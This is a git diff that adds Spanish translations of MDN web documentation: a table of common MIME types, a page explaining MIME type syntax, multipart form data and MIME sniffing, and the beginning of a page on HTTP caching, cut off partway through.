+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.avi</code></td>
+   <td>AVI: Audio Video Intercalado</td>
+   <td><code>video/x-msvideo</code></td>
+  </tr>
+  <tr>
+   <td><code>.azw</code></td>
+   <td>Formato  eBook Amazon Kindle </td>
+   <td><code>application/vnd.amazon.ebook</code></td>
+  </tr>
+  <tr>
+   <td><code>.bin</code></td>
+   <td>Cualquier tipo de datos binarios</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz</code></td>
+   <td>Archivo BZip</td>
+   <td><code>application/x-bzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz2</code></td>
+   <td>Archivo BZip2</td>
+   <td><code>application/x-bzip2</code></td>
+  </tr>
+  <tr>
+   <td><code>.csh</code></td>
+   <td>Script C-Shell</td>
+   <td><code>application/x-csh</code></td>
+  </tr>
+  <tr>
+   <td><code>.css</code></td>
+   <td>Hojas de estilo (CSS)</td>
+   <td><code>text/css</code></td>
+  </tr>
+  <tr>
+   <td><code>.csv</code></td>
+   <td>Valores separados por coma (CSV)</td>
+   <td><code>text/csv</code></td>
+  </tr>
+  <tr>
+   <td><code>.doc</code></td>
+   <td>Microsoft Word</td>
+   <td><code>application/msword</code></td>
+  </tr>
+  <tr>
+   <td><code>.epub</code></td>
+   <td>Publicación Electrónica (EPUB)</td>
+   <td><code>application/epub+zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gif</code></td>
+   <td>Graphics Interchange Format (GIF)</td>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <td><code>.htm<br>
+    .html</code></td>
+   <td>Hipertexto (HTML)</td>
+   <td><code>text/html</code></td>
+  </tr>
+  <tr>
+   <td><code>.ico</code></td>
+   <td>Formato Icon</td>
+   <td><code>image/x-icon</code></td>
+  </tr>
+  <tr>
+   <td><code>.ics</code></td>
+   <td>Formato iCalendar</td>
+   <td><code>text/calendar</code></td>
+  </tr>
+  <tr>
+   <td><code>.jar</code></td>
+   <td>Archivo Java (JAR)</td>
+   <td><code>application/java-archive</code></td>
+  </tr>
+  <tr>
+   <td><code>.jpeg</code><br>
+    <code>.jpg</code></td>
+   <td>Imágenes JPEG</td>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.js</code></td>
+   <td>JavaScript (ECMAScript)</td>
+   <td><code>application/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>.json</code></td>
+   <td>Formato JSON</td>
+   <td><code>application/json</code></td>
+  </tr>
+  <tr>
+   <td><code>.mid</code><br>
+    <code>.midi</code></td>
+   <td>Interfaz Digital de Instrumentos Musicales (MIDI)</td>
+   <td><code>audio/midi</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpeg</code></td>
+   <td>Video MPEG</td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpkg</code></td>
+   <td>Paquete de instalación de Apple</td>
+   <td><code>application/vnd.apple.installer+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.odp</code></td>
+   <td>Documento de presentación de OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.ods</code></td>
+   <td>Hoja de Cálculo OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.odt</code></td>
+   <td>Documento de texto OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.text</code></td>
+  </tr>
+  <tr>
+   <td><code>.oga</code></td>
+   <td>Audio OGG</td>
+   <td><code>audio/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogv</code></td>
+   <td>Video OGG</td>
+   <td><code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogx</code></td>
+   <td>OGG</td>
+   <td><code>application/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.pdf</code></td>
+   <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+   <td><code>application/pdf</code></td>
+  </tr>
+  <tr>
+   <td><code>.ppt</code></td>
+   <td>Microsoft PowerPoint</td>
+   <td><code>application/vnd.ms-powerpoint</code></td>
+  </tr>
+  <tr>
+   <td><code>.rar</code></td>
+   <td>Archivo RAR</td>
+   <td><code>application/x-rar-compressed</code></td>
+  </tr>
+  <tr>
+   <td><code>.rtf</code></td>
+   <td>Formato de Texto Enriquecido (RTF)</td>
+   <td><code>application/rtf</code></td>
+  </tr>
+  <tr>
+   <td><code>.sh</code></td>
+   <td>Script Bourne shell</td>
+   <td><code>application/x-sh</code></td>
+  </tr>
+  <tr>
+   <td><code>.svg</code></td>
+   <td>Gráficos Vectoriales (SVG)</td>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.swf</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) o Documento Adobe Flash</td>
+   <td><code>application/x-shockwave-flash</code></td>
+  </tr>
+  <tr>
+   <td><code>.tar</code></td>
+   <td>Aerchivo Tape (TAR)</td>
+   <td><code>application/x-tar</code></td>
+  </tr>
+  <tr>
+   <td><code>.tif<br>
+    .tiff</code></td>
+   <td>Formato de archivo de imagen etiquetado (TIFF)</td>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <td><code>.ttf</code></td>
+   <td>Fuente TrueType</td>
+   <td><code>font/ttf</code></td>
+  </tr>
+  <tr>
+   <td><code>.vsd</code></td>
+   <td>Microsft Visio</td>
+   <td><code>application/vnd.visio</code></td>
+  </tr>
+  <tr>
+   <td><code>.wav</code></td>
+   <td>Formato de audio de forma de onda (WAV)</td>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>.weba</code></td>
+   <td>Audio WEBM</td>
+   <td><code>audio/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webm</code></td>
+   <td>Video WEBM</td>
+   <td><code>video/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webp</code></td>
+   <td>Imágenes WEBP</td>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff</code></td>
+   <td>Formato de fuente abierta web (WOFF)</td>
+   <td><code>font/woff</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff2</code></td>
+   <td>Formato de fuente abierta web (WOFF)</td>
+   <td><code>font/woff2</code></td>
+  </tr>
+  <tr>
+   <td><code>.xhtml</code></td>
+   <td>XHTML</td>
+   <td><code>application/xhtml+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xls</code></td>
+   <td>Microsoft Excel</td>
+   <td><code>application/vnd.ms-excel</code></td>
+  </tr>
+  <tr>
+   <td><code>.xml</code></td>
+   <td><code>XML</code></td>
+   <td><code>application/xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xul</code></td>
+   <td>XUL</td>
+   <td><code>application/vnd.mozilla.xul+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.zip</code></td>
+   <td>Archivo ZIP</td>
+   <td><code>application/zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.3gp</code></td>
+   <td>Contenedor de audio/video <a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a></td>
+   <td><code>video/3gpp</code><br>
+    <code>audio/3gpp</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.3g2</code></td>
+   <td>Contenedor de audio/video <a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a></td>
+   <td><code>video/3gpp2</code><br>
+    <code>audio/3gpp2</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.7z</code></td>
+   <td>Archivo <a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a></td>
+   <td><code>application/x-7z-compressed</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/http/basics_of_http/mime_types/index.html b/files/es/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..dd6c1621ae
--- /dev/null
+++ b/files/es/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,321 @@
+---
+title: Tipos MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+  - Cabecera de solicitud
+  - Guide
+  - HTTP
+  - Meta
+  - Tipos MIME
+  - Tipos de contenido
+  - application/json
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>tipo Extensiones multipropósito de Correo de Internet (MIME)</strong> es una forma estandarizada de indicar la naturaleza y el formato de un documento, archivo o conjunto de datos. Está definido y estandarizado en <a href="https://tools.ietf.org/html/rfc6838">IETF RFC 6838</a>. La <a href="https://www.iana.org/">Autoridad de Números Asignados de Internet (IANA)</a> es el organismo oficial responsable de realizar un seguimiento de todos los tipos MIME oficiales, y puede encontrar la lista más actualizada y completa en la página de <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">tipos de medios (Media Types)</a>.</p>
+
+<p>Los navegadores a menudo usan el tipo MIME (y no la extensión de archivo) para determinar cómo procesará un documento; por lo tanto, es importante que los servidores estén configurados correctamente para adjuntar el tipo MIME correcto al encabezado del objeto de respuesta.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Estructura_general">Estructura general</h3>
+
+<pre class="syntaxbox">tipo/subtipo</pre>
+
+<p>La estructura de un tipo MIME es muy simple; consiste en un tipo y un subtipo, dos cadenas, separadas por un <code>'/'</code>. No se permite espacio. El <em>tipo </em>representa la categoría y puede ser de tipo <em>discreto </em>o <em>multiparte</em>. El <em>subtipo </em>es específico para cada tipo.</p>
+
+<p>Un tipo MIME no distingue entre mayúsculas y minúsculas, pero tradicionalmente se escribe todo en minúsculas.</p>
+
+<h3 id="Tipos_discretos">Tipos discretos</h3>
+
+<pre class="syntaxbox">text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…</pre>
+
+<p>Los tipos <em>discretos </em>indican la categoría del documento, puede ser uno de los siguientes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo de subtipos típicos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>text</code></td>
+   <td>Representa cualquier documento que contenga texto y es teóricamente legible por humanos</td>
+   <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>Representa cualquier tipo de imagen. Los videos no están incluidos, aunque las imágenes animadas (como el gif animado) se describen con un tipo de imagen.</td>
+   <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio</code></td>
+   <td>Representa cualquier tipo de archivos de audio</td>
+   <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>video</code></td>
+   <td>Representa cualquier tipo de archivos de video</td>
+   <td><code>video/webm</code>, <code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>application</code></td>
+   <td>Representa cualquier tipo de datos binarios.</td>
+   <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>,  <code>application/pdf</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para documentos de texto sin subtipo específico, se debe usar <code>text/plain</code>. De forma similar, para los documentos binarios sin subtipo específico o conocido, se debe usar <code>application/octet-stream</code>.</p>
+
+<h3 id="Tipos_multiparte">Tipos multiparte</h3>
+
+<pre class="syntaxbox">multipart/form-data
+multipart/byteranges</pre>
+
+<p id="sect1">Los tipos de <em>partes múltiples </em>indican una categoría de documento que está rota en distintas partes, a menudo con diferentes tipos de MIME. Es una forma de representar un documento compuesto. Con la excepción de <code>multipart/form-data</code>, que se utilizan en relación con <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a> y el método {{HTTPMethod("POST")}}, y <code>multipart/byteranges</code>, que se utilizan junto con el mensaje de estado de <code>Contenido Parcial</code> {{HTTPStatus("206")}} para enviar solo un subconjunto de un documento completo, HTTP no maneja documentos multiparte de una manera específica: el mensaje simplemente se transmite al navegador (que probablemente propondrá una ventana Guardar como, sin saber cómo mostrar el documento en línea.)</p>
+
+<h2 id="Tipos_MIME_importantes_para_desarrolladores_Web">Tipos MIME importantes para desarrolladores Web</h2>
+
+<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3>
+
+<p>Este es el valor predeterminado para un archivo binario. Como realmente significa un <em>archivo binario desconocido</em>, los navegadores generalmente no lo ejecutan automáticamente, o incluso preguntan si debería ejecutarse. Lo tratan como si el encabezado {{HTTPHeader("Content-Disposition")}} se configurara con el valor <code>attachment</code> y proponen un archivo 'Guardar como'.</p>
+
+<h3 id="textplain"><code>text/plain</code></h3>
+
+<p>Este es el valor predeterminado para los archivos de texto. Incluso si realmente significa un archivo textual desconocido, los navegadores asumen que pueden mostrarlo.</p>
+
+<div class="note">
+<p>Tenga en cuenta que <code>text/plain</code> no significa <em>cualquier tipo de datos textuales</em>. Si esperan un tipo específico de datos textuales, probablemente no lo considerarán una coincidencia. Específicamente, si descargan un archivo de texto sin formato <code>text/plain</code> de un elemento {{HTMLElement("link")}} que declara archivos CSS, no lo reconocerán como un archivo CSS válido si se presenta con <code>text/plain</code>. Se debe usar el tipo MIME CSS <code>text/css</code>.</p>
+</div>
+
+<h3 id="textcss"><code>text/css</code></h3>
+
+<p>Todos los archivos CSS que deban interpretarse como tales en una página web <strong>deben </strong>ser de los archivos de <code>text/css</code>. A menudo, los servidores no reconocen los archivos con el sufijo <code>.css</code> como archivos CSS y los envían con tipo MIME <code>text/plain</code> o <code>application/octet-stream</code>: en estos casos, la mayoría de los navegadores no los reconocerán como archivos CSS y serán ignorado silenciosamente. Se debe prestar especial atención en servir los archivos CSS con el tipo correcto.</p>
+
+<h3 id="texthtml"><code>text/html</code></h3>
+
+<p>Todo el contenido HTML debe ser servido con este tipo. Los tipos MIME alternativos para XHTML, como <code>application/xml+html</code>, son en su mayoría inútiles hoy en día (HTML5 unificó estos formatos).</p>
+
+<h3 id="Tipos_de_imágenes">Tipos de imágenes</h3>
+
+<p>Solo un puñado de tipos de imágenes son ampliamente reconocidos y se consideran seguros para la Web, listos para usar en una página Web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo MIME</th>
+   <th scope="col">Tipo de imagen</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>image/gif</code></td>
+   <td>Imágenes GIF (compresión sin pérdida, reemplazada por PNG)</td>
+  </tr>
+  <tr>
+   <td><code>image/jpeg</code></td>
+   <td>Imágenes JPEG</td>
+  </tr>
+  <tr>
+   <td><code>image/png</code></td>
+   <td>Imágenes PNG</td>
+  </tr>
+  <tr>
+   <td><code>image/svg+xml</code></td>
+   <td>Imágenes SVG (imágenes vectoriales)</td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<p>Existe una discusión para agregar WebP (<code>image/webp</code>) a esta lista, pero como cada tipo de imagen nuevo aumentará el tamaño de una base de código, esto puede presentar nuevos problemas de seguridad, por lo que los proveedores de navegadores son cautelosos al aceptarlo.</p>
+
+<p>Se pueden encontrar otros tipos de imágenes en documentos Web. Por ejemplo, muchos navegadores admiten tipos de imágenes de iconos para favicones o similares. En particular, las imágenes ICO son compatibles en este contexto con el tipo MIME <code>image/x-icon</code>.</p>
+
+
+
+<h3 id="Tipos_de_audio_y_video">Tipos de audio y video</h3>
+
+<p>Al igual que las imágenes, HTML no define un conjunto de tipos soportados para usar con los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}, por lo que solo un grupo relativamente pequeño de ellos puede ser utilizado en la web. Los <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">formatos de medios compatibles con los elementos de audio y video HTML</a> explican tanto los códecs como los formatos de contenedor que se pueden usar.</p>
+
+<p>El tipo MIME de dichos archivos representa principalmente los formatos de contenedor y los más comunes en un contexto web son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo MIME</th>
+   <th scope="col">Tipo de audio o video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>Un archivo de audio en formato de contenedor WAVE. El códec de audio PCM (códec WAVE  "1") a menudo es compatible, pero otros códecs tienen soporte más limitado (si lo hay).</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>Un archivo de audio en formato de contenedor WebM. Vorbis y Opus son los códecs de audio más comunes.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>Un archivo de video, posiblemente con audio, en el formato de contenedor de WebM. VP8 y VP9 son los códecs de video más comunes utilizados en él; Vorbis y Opus los códecs de audio más comunes.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>Un archivo de audio en el formato de contenedor OGG. Vorbis es el códec de audio más común utilizado en dicho contenedor.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>Un archivo de video, posiblemente con audio, en el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio habitual.</td>
+  </tr>
+  <tr>
+   <td><code>application/ogg</code></td>
+   <td>Un archivo de audio o video usando el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio más común.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data"><code>multipart/form-data</code></h3>
+
+<p>El tipo de datos <code>multipart/form-data</code> se puede usar al enviar el contenido de un <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a> completo desde el navegador al servidor. Como formato de documento multiparte, consta de diferentes partes, delimitadas por un límite (una cadena que comienza con un doble guión <code>'--'</code>). Cada parte es una entidad en sí misma, con sus propios encabezados HTTP, {{HTTPHeader("Content-Disposition")}} y {{HTTPHeader("Content-Type")}} para los campos de carga de archivos, y los más comunes ({{HTTPHeader("Content-Length")}} es ignorado ya que la línea límite se usa como delimitador).</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=unaCadenaDelimitadora
+(otros encabezados asociados con el documento multiparte como un todo)
+
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miArchivo"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miCampo"
+
+(data)
+--unaCadenaDelimitadora
+(más subpartes)
+--unaCadenaDelimitadora--
+
+</pre>
+
+<p>El siguiente formulario:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="miCampoDeTexto"&gt;
+  &lt;input type="checkbox" name="miCheckBox"&gt;Checado&lt;/input&gt;
+  &lt;input type="file" name="miArchivo"&gt;
+  &lt;button&gt;Enviar el archivo&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>enviará este mensaje:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCampoDeTexto"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miArchivo"; filename="prueba.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3>
+
+<p>El tipo MIME <code>multipart/byteranges</code> se usa en el contexto del envío de respuestas parciales al navegador. Cuando se envía el código de estado de <code>Contenido Parcial</code> {{HTTPStatus("206")}}, este tipo MIME se usa para indicar que el documento está compuesto de varias partes, una para cada rango solicitado. Al igual que otros tipos de varias partes, {{HTTPHeader("Content-Type")}} usa la directiva <code>boundary</code> para definir la cadena delimitadora. Cada una de las diferentes partes tiene un encabezado {{HTTPHeader("Content-Type")}} con el tipo real del documento y un {{HTTPHeader("Content-Range")}} con el rango que representan.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="Importancia_de_establecer_el_tipo_MIME_correcto">Importancia de establecer el tipo MIME correcto</h2>
+
+<p>La mayoría de los servidores web envían recursos de tipo desconocido utilizando el tipo MIME predeterminado <code>application/octet-stream</code>. Por razones de seguridad, la mayoría de los navegadores no permiten establecer una acción predeterminada personalizada para dichos recursos, lo que obliga al usuario a almacenarlo en el disco para usarlo. Algunas configuraciones de servidor incorrectas que se ven con frecuencia ocurren con los siguientes tipos de archivos:</p>
+
+<ul>
+ <li>
+  <p>Archivos con codificación RAR. En este caso, lo ideal sería establecer el tipo verdadero de los archivos codificados; esto a menudo no es posible (ya que puede no ser conocido por el servidor y estos archivos pueden contener varios recursos de diferentes tipos). En este caso, al configurar el servidor para que envíe el tipo MIME <code>application/x-rar-compressed</code>, los usuarios no habrán definido una acción predeterminada útil para ellos.</p>
+ </li>
+ <li>
+  <p>Archivos de audio y video. Solo los recursos con el tipo MIME correcto serán reconocidos y reproducidos en elementos {{ HTMLElement("video") }} o {{ HTMLElement("audio") }}. Asegúrese de <a href="https://developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements">usar el tipo correcto para audio y video</a>.</p>
+ </li>
+ <li>
+  <p>Tipos de archivos propietarios. Preste especial atención al servir un tipo de archivo propietario. Evite el uso de <code>application/octet-stream</code> ya que no será posible un manejo especial: la mayoría de los navegadores no permiten definir un comportamiento predeterminado (como "Abrir en Word") para este tipo genérico MIME.</p>
+ </li>
+</ul>
+
+<h2 id="Olfateo_MIME_sniffing">Olfateo MIME (sniffing)</h2>
+
+<p>En ausencia de un tipo MIME, o en algunos otros casos en los que un cliente cree que están configurados incorrectamente, los navegadores pueden realizar el rastreo MIME, que es adivinar el tipo MIME correcto mirando el recurso. Cada navegador realiza esto de manera diferente y bajo diferentes circunstancias. Hay algunas preocupaciones de seguridad con esta práctica, ya que algunos tipos MIME representan el contenido ejecutable y otros no. Los servidores pueden bloquear el rastreo de MIME enviando el {{HTTPHeader("X-Content-Type-Options")}} a lo largo de {{HTTPHeader("Content-Type")}}.</p>
+
+<h2 id="Otros_métodos_de_transporte_de_tipo_de_documento">Otros métodos de transporte de tipo de documento</h2>
+
+<p>Los tipos MIME no son la única forma de transmitir la información del tipo de documento:</p>
+
+<ul>
+ <li>Los sufijos de nombre a veces se usan, especialmente en los sistemas de Microsoft Windows. No todos los sistemas operativos consideran significativos estos sufijos (especialmente Linux y Mac OS), y al igual que un tipo MIME externo, no hay garantía de que sean correctos.</li>
+ <li>Números mágicos. La sintaxis de los diferentes tipos de archivos permite la inferencia del tipo de archivo al observar la estructura. P.ej. cada archivo GIF comienza con el valor hexadecimal 47 49 46 38 39 [GIF89] o archivos PNG con 89 50 4E 47 [.PNG]. No todos los tipos de archivos tienen números mágicos, por lo que este tampoco es un sistema 100% confiable.</li>
+</ul>
+
+
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Configurar correctamente los tipos MIME del servidor</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">Formatos de medios compatibles con los elementos de audio y video HTML</a></li>
+ <li>
+  <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/caching/index.html b/files/es/web/http/caching/index.html
new file mode 100644
index 0000000000..e55fc256c1
--- /dev/null
+++ b/files/es/web/http/caching/index.html
@@ -0,0 +1,155 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+tags:
+  - Caching
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span id="result_box" lang="es"><span>El rendimiento de los sitios web y las aplicaciones puede mejorarse significativamente al reutilizar los recursos previamente obtenidos.</span> <span>Los cachés web reducen la latencia y el tráfico de red y, por lo tanto, reducen el tiempo necesario para mostrar una representación de un recurso.</span> <span>Al hacer uso del almacenamiento en caché HTTP, los sitios web se vuelven más sensible.</span></span></p>
+
+<h2 id="Diferentes_tipos_de_caches">Diferentes tipos de caches</h2>
+
+<p><span id="result_box" lang="es"><span>El almacenamiento en caché o Caching es una técnica que almacena una copia de un recurso dado y la devuelve cuando se solicita.</span> <span>Cuando un caché web tiene un recurso solicitado en su almacén, intercepta la solicitud y devuelve su copia en lugar de volver a descargarla desde el servidor de origen.</span> <span>Esto logra varios objetivos: facilita la carga del servidor que no necesita atender a todos los clientes, y mejora el rendimiento al estar más cerca del cliente, es decir, lleva menos tiempo transmitir el recurso de vuelta.</span> <span>Para un sitio web, es un componente importante para lograr un alto rendimiento.</span> <span>Por otro lado, debe configurarse correctamente, ya que no todos los recursos permanecen idénticos para siempre: es importante almacenar en caché un recurso solo hasta que cambie, no más.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Existen varios tipos de cachés: se pueden agrupar en dos categorías principales: cachés privados o compartidos.</span> <span>Un caché compartido es un caché que almacena respuestas para que más de un usuario las reutilice.</span> <span>Un caché privado está dedicado a un solo usuario.</span> <span>Esta página hablará principalmente sobre cachés de navegador y proxy, pero también hay cachés de puerta de enlace, CDN, cachés de proxy inverso y balanceadores de carga que se implementan en servidores web para una mejor confiabilidad, rendimiento y escala de sitios web y aplicaciones web.</span></span></p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Cachés_privadas_de_navegador">Cachés privadas de navegador</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un caché privado está dedicado a un solo usuario.</span> <span title="">Es posible que ya hayas visto "almacenamiento en caché" en la configuración de tu navegador.</span> <span title="">Un caché de navegador contiene todos los documentos descargados a través de HTTP por el usuario.</span> <span title="">Este caché se usa para hacer que los documentos visitados estén disponibles para la navegación hacia atrás / adelante, guardar, ver como fuente, etc. sin requerir un viaje adicional al servidor.</span> <span title="">También mejora la navegación fuera de línea del contenido en caché.</span></span></p>
+
+<h3 id="Caché_compartida_de_proxy">Caché compartida de proxy</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un caché compartido es un caché que almacena las respuestas para que sean reutilizado por más de un usuario.</span> <span title="">Por ejemplo, un ISP o su compañía podrían haber configurado un proxy web como parte de su infraestructura de red local para servir a muchos usuarios, de modo que los recursos populares se reutilicen varias veces, lo que reduce el tráfico y la latencia de la red.</span></span></p>
+
+<h2 id="Objetivos_de_las_operaciones_de_almacenamiento_en_caché."><span class="tlid-translation translation"><span title="">Objetivos de las operaciones de almacenamiento en caché.</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">El almacenamiento en caché de HTTP es opcional, pero la reutilización de un recurso almacenado en caché es generalmente deseable.</span> <span title="">Sin embargo, los cachés HTTP comunes generalmente se limitan al almacenamiento en caché de las respuestas a {{HTTPMethod ("GET")}} y pueden rechazar otros métodos.</span> <span title="">La clave de caché principal consiste en el método de solicitud y el URI de destino (muchas veces solo se usa el URL, ya que solo las solicitudes GET son destinos de almacenamiento en caché).</span> <span title="">Las entradas de caché más comunes son:</span></span></p>
+
+<ul>
+ <li>Respuesta exitosa al recuperar una solicitud: una respuesta de tipo {{HTTPStatus(200)}} (OK) a una solicitud {{HTTPMethod("GET")}} contiene un recurso como documentos HTML, imágenes o archivos (ficheros).</li>
+ <li>Redirección permanente: una respuesta tipo {{HTTPStatus(301)}} (Moved Permanently).</li>
+ <li>Respuesta de error: da como resultado una página {{HTTPStatus(404)}} (Not Found) .</li>
+ <li>Resultados incompletos: muestra una respuesta de tipo {{HTTPStatus(206)}} (Partial Content) .</li>
+ <li>Otro tipo de respuestas {{HTTPMethod("GET")}} <span class="tlid-translation translation"><span title="">si se define algo adecuado para su uso como clave de caché</span></span>.</li>
+</ul>
+
+<p>Una entrada de caché también puede consistir en múltiples respuestas almacenadas, diferenciadas por una clave secundaria, si la solicitud es causa de la negociación de contenido. Para obtener más detalles, consulta la información sobre el encabezado {{HTTPHeader ("Vary")}} <a href="#Varying_responses">más abajo</a>.</p>
+
+<h2 id="Control_del_almacenamiento_en_caché">Control del almacenamiento en caché</h2>
+
